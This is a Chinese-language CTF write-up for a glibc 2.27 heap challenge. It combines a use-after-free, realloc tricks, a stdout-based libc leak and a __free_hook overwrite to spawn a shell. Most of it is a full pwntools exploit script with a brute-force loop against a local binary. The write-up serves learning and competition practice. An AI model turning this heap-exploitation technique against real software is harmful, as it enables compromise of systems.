很有意思的一题,主要考察realloc函数
checksec:保护全开,libc2.27,引入了tcache 机制1
2
3
4
5Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
程序提供了3种申请堆的申请方式,malloc、calloc、realloc,分别放在全局变量ptr_m,ptr_c,ptr_r且只能放一个,以及一个free函数,但是存在UAF。
realloc这个函数有点意思 :
1 | realloc(0) --> free并清空指针 |
没有show功能,所以只能通过IO_file泄漏地址
方法:1
2
3
4
5申请3个chunk:chunk1-0x70,chunk2-0x100,chunk3-0xe0
然后free(chunk2)8次放到unsorted bin中,此时chunk2的fd,bk已经写入了main_arena+96
再申请回0x70,reallox(0x180)扩展修改低4位为_IO_2_1_stdout_(爆破一位)
再修改flag为0xfbad1800,write_base低一位为0打印出libc地址
最后UAF修改free_hook为system,free('/bin/sh')即可
exp:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80from pwn import *
# context.log_level = 'debug'
context.arch = 'amd64'
local = 1
if local:
p = process('./pwn')
elf = ELF('./pwn')
libc = elf.libc
else:
p = remote("")
sd = lambda s:p.send(s)
sl = lambda s:p.sendline(s)
rc = lambda s:p.recv(s)
ru = lambda s:p.recvuntil(s)
sda = lambda a,s:p.sendafter(a,s)
sla = lambda a,s:p.sendlineafter(a,s)
def malloc(size,message):
sla("choice: ",'1')
sla("Size: ",str(size))
sda("Data: ",message)
def calloc(size,message):
sla("choice: ",'2')
sla("Size: ",str(size))
sda("Data: ",message)
def realloc(size,message=''):
sla("choice: ",'3')
sla("Size: ",str(size))
if size != 0:
sda("Data: ",message)
def free(type):
sla("choice: ",'4')
sla("Which: ",type)
def pwn():
realloc(0x70,'a' + '\n')
realloc(0)
realloc(0x100,'b' + '\n')
realloc(0)
realloc(0xe0,'c' + '\n')
realloc(0)
realloc(0x100,'b' + '\n')
for _ in range(7):
free('r')
realloc(0)
realloc(0x70,'a' + '\n')
realloc(0x180,'a'*0x70 + p64(0) + p64(0x71) + '\x60\xe7')
realloc(0)
realloc(0x100,'cccc')
realloc(0)
# gdb.attach(p)
malloc(0x100,p64(0xfbad1800) + p64(0)*3 + '\x00')
libc_base = u64(p.recvuntil('\x7f',timeout=1)[-6:].ljust(8,'\x00')) - 0x3ed8b0
free_hook = libc_base + libc.symbols['__free_hook']
system = libc_base + libc.symbols['system']
log.warn("libc_base --> %s",hex(libc_base))
realloc(0x180,0x70*'a' + p64(0) + p64(0x30) + p64(free_hook) + '\n')
realloc(0)
realloc(0x68,'abcd')
realloc(0)
realloc(0x68,p64(system))
calloc(0x28,'/bin/sh\x00')
free('c')
# gdb.attach(p)
p.interactive()
i = 0
while 1:
try:
i += 1
log.warn("i = " + str(i))
pwn()
except Exception:
p.close()
p = process('./pwn')